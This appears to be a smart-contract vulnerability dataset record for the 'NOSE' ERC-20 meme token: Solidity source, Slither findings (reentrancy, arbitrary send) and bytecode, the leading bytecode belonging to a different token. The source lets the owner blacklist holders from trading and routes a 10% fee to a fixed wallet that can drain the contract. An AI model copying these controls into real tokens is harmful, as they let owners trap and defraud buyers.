1b03813581169160208101359091169060400135610556565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105dd565b005b34801561029b57600080fd5b506102a4610656565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065b565b3480156102f257600080fd5b5061028d6106d1565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610705565b34801561033a57600080fd5b5061028d61076f565b34801561034f57600080fd5b50610358610811565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610820565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610845565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610859945050505050565b34801561047e57600080fd5b5061028d61090d565b34801561049357600080fd5b5061028d61094a565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d31565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e36565b60408051808201909152601081526f742e6d652f4d7573636c6550554d505360801b602082015290565b600061053f610538610e61565b8484610e65565b5060015b92915050565b683635c9adc5dea0000090565b6000610563848484610f51565b6105d38461056f610e61565b6105ce85604051806060016040528060288152602001611fc8602891396001600160a01b038a166000908152600460205260408120906105ad610e61565b6001600160a01b031681526020810191909152604001600020549190611327565b610e65565b5060019392505050565b6105e5610e61565b6000546001600160a01b03908116911614610635576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff0833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610663610e61565b6000546001600160a01b039081169116146106b3576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff0833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e5610e61565b6001600160a01b0316146106f857600080fd5b47610702816113be565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074557506001600160a01b03811660009081526003602052604090205461076a565b6001600160a01b03821660009081526002602052604090205461076790611443565b90505b919050565b610777610e61565b6000546001600160a01b039081169116146107c7576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff0833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600b81526a4d7573636c6550554d505360a81b602082015290565b600061053f610852610e61565b8484610f51565b610861610e61565b6000546001600160a01b039081169116146108b1576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff0833981519152604482015290519081900360640190fd5b60005b8151811015610909576001600760008484815181106108cf57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108b4565b5050565b6010546001600160a01b0316610921610e61565b6001600160a01b03161461093457600080fd5b600061093f30610705565b9050610702816114a3565b610952610e61565b6000546001600160a01b039081169116146109a2576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff0833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a01576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a4a9030906001600160a01b0316683635c9adc5dea00000610e65565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8357600080fd5b505afa158015610a97573d6000803e3d6000fd5b505050506040513d6020811015610aad57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610afd57600080fd5b505afa158015610b11573d6000803e3d6000fd5b505050506040513d6020811015610b2757600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7957600080fd5b505af1158015610b8d573d6000803e3d6000fd5b505050506040513d6020811015610ba357600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd581610705565b600080610be0610811565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4b57600080fd5b505af1158015610c5f573d6000803e3d6000fd5b50505050506040513d6060811015610c7657600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0257600080fd5b505af1158015610d16573d6000803e3d6000fd5b505050506040513d6020811015610d2c57600080fd5b505050565b610d39610e61565b6000546001600160a01b03908116911614610d89576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff0833981519152604482015290519081900360640190fd5b60008111610dde576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610dfc6064610df6683635c9adc5dea0000084611671565b906116ca565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eaa5760405162461bcd60e51b815260040180806020018281038252602481526020018061205e6024913960400191505060405180910390fd5b6001600160a01b038216610eef5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f856022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f965760405162461bcd60e51b81526004018080602001828103825260258152602001806120396025913960400191505060405180910390fd5b6001600160a01b038216610fdb5760405162461bcd60e51b8152600401808060200182810382526023815260200180611f386023913960400191505060405180910390fd5b6000811161101a5760405162461bcd60e51b81526004018080602001828103825260298152602001806120106029913960400191505060405180910390fd5b611022610811565b6001600160a01b0316836001600160a01b03161415801561105c5750611046610811565b6001600160a01b0316826001600160a01b031614155b156112ca57601354600160b81b900460ff1615611156576001600160a01b038316301480159061109557506001600160a01b0382163014155b80156110af57506012546001600160a01b03848116911614155b80156110c957506012546001600160a01b03838116911614155b15611156576012546001600160a01b03166110e2610e61565b6001600160a01b0316148061111157506013546001600160a01b0316611106610e61565b6001600160a01b0316145b611156576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116557600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a757506001600160a01b03821660009081526007602052604090205460ff16155b6111b057600080fd5b6013546001600160a01b0384811691161480156111db57506012546001600160a01b03838116911614155b801561120057506001600160a01b03821660009081526005602052604090205460ff16155b80156112155750601354600160b81b900460ff165b1561125d576001600160a01b038216600090815260086020526040902054421161123e57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126830610705565b601354909150600160a81b900460ff1615801561129357506013546001600160a01b03858116911614155b80156112a85750601354600160b01b900460ff165b156112c8576112b6816114a3565b4780156112c6576112c6476113be565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130c57506001600160a01b03831660009081526005602052604090205460ff165b15611315575060005b6113218484848461170c565b50505050565b600081848411156113b65760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137b578181015183820152602001611363565b50505050905090810190601f1680156113a85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d88360026116ca565b6040518115909202916000818181858888f19350505050158015611400573d6000803e3d6000fd5b506011546001600160a01b03166108fc61141b8360026116ca565b6040518115909202916000818181858888f19350505050158015610909573d6000803e3d6000fd5b6000600a548211156114865760405162461bcd60e51b815260040180806020018281038252602a815260200180611f5b602a913960400191505060405180910390fd5b6000611490611828565b905061149c83826116ca565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114e457fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153857600080fd5b505afa15801561154c573d6000803e3d6000fd5b505050506040513d602081101561156257600080fd5b505181518290600190811061157357fe5b6001600160a01b0392831660209182029290920101526012546115999130911684610e65565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561161f578181015183820152602001611607565b505050509050019650505050505050600060405180830381600087803b15801561164857600080fd5b505af115801561165c573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168057506000610543565b8282028284828161168d57fe5b041461149c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa76021913960400191505060405180910390fd5b600061149c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061184b565b80611719576117196118b0565b6001600160a01b03841660009081526006602052604090205460ff16801561175a57506001600160a01b03831660009081526006602052604090205460ff16155b1561176f5761176a8484846118e2565b61181b565b6001600160a01b03841660009081526006602052604090205460ff161580156117b057506001600160a01b03831660009081526006602052604090205460ff165b156117c05761176a848484611a06565b6001600160a01b03841660009081526006602052604090205460ff16801561180057506001600160a01b03831660009081526006602052604090205460ff165b156118105761176a848484611aaf565b61181b848484611b22565b8061132157611321611b66565b6000806000611835611b74565b909250905061184482826116ca565b9250505090565b6000818361189a5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137b578181015183820152602001611363565b5060008385816118a657fe5b0495945050505050565b600c541580156118c05750600d54155b156118ca576118e0565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118f487611cf3565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119269088611d50565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119559087611d50565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119849086611d92565b6001600160a01b0389166000908152600260205260409020556119a681611dec565b6119b08483611e74565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1887611cf3565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a4a9087611d50565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a809084611d92565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119849086611d92565b600080600080600080611ac187611cf3565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611af39088611d50565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a4a9087611d50565b600080600080600080611b3487611cf3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119559087611d50565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cb357826002600060098481548110611ba457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c095750816003600060098481548110611be257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2757600a54683635c9adc5dea0000094509450505050611cef565b611c676002600060098481548110611c3b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d50565b9250611ca96003600060098481548110611c7d57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d50565b9150600101611b88565b50600a54611cca90683635c9adc5dea000006116ca565b821015611ce957600a54683635c9adc5dea00000935093505050611cef565b90925090505b9091565b6000806000806000806000806000611d108a600c54600d54611e98565b9250925092506000611d20611828565b90506000806000611d338e878787611ee7565b919e509c509a509598509396509194505050505091939550919395565b600061149c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611327565b60008282018381101561149c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611df6611828565b90506000611e048383611671565b30600090815260026020526040902054909150611e219082611d92565b3060009081526002602090815260408083209390935560069052205460ff1615610d2c5730600090815260036020526040902054611e5f9084611d92565b30600090815260036020526040902055505050565b600a54611e819083611d50565b600a55600b54611e919082611d92565b600b555050565b6000808080611eac6064610df68989611671565b90506000611ebf6064610df68a89611671565b90506000611ed782611ed18b86611d50565b90611d50565b9992985090965090945050505050565b6000808080611ef68886611671565b90506000611f048887611671565b90506000611f128888611671565b90506000611f2482611ed18686611d50565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fa3d40b923e179e91c012554cd55c1924972e35a920fc51597cdbdfa75ea1f8a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,695 |
0x1c3f129527ea1f1f161ecf87f55167268ec69769
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
Pinuchio $NOSE
🌐 Website : https://pinuch.io/
📱 Telegram : https://t.me/Pinuchio
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NOSE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "NOSE";
string private constant _symbol = "NOSE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x3809730E3Ad10cBF3354433ed7ebE10D7B06CAB1);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e98565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906129bb565b6104b4565b60405161018e9190612e7d565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061303a565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129f7565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061296c565b610633565b60405161021f9190612e7d565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906128de565b61070c565b005b34801561025d57600080fd5b506102666107fc565b60405161027391906130af565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612a38565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a8a565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c600480360381019061030791906128de565b610a03565b604051610319919061303a565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612daf565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e98565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906129bb565b610cc4565b6040516103da9190612e7d565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a8a565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c9190612930565b6113ef565b60405161046e919061303a565b60405180910390f35b60606040518060400160405280600481526020017f4e4f534500000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611476565b848461147e565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f7a565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613350565b91505061057b565b5050565b6000610640848484611649565b6107018461064c611476565b6106fc8560405180606001604052806028815260200161377360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b2611476565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdc9092919063ffffffff16565b61147e565b600190509392505050565b610714611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f7a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f7a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f7a565b60405180910390fd5b6000811161095957600080fd5b610988606461097a83683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2611476565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611e05565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e71565b9050919050565b610a5c611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff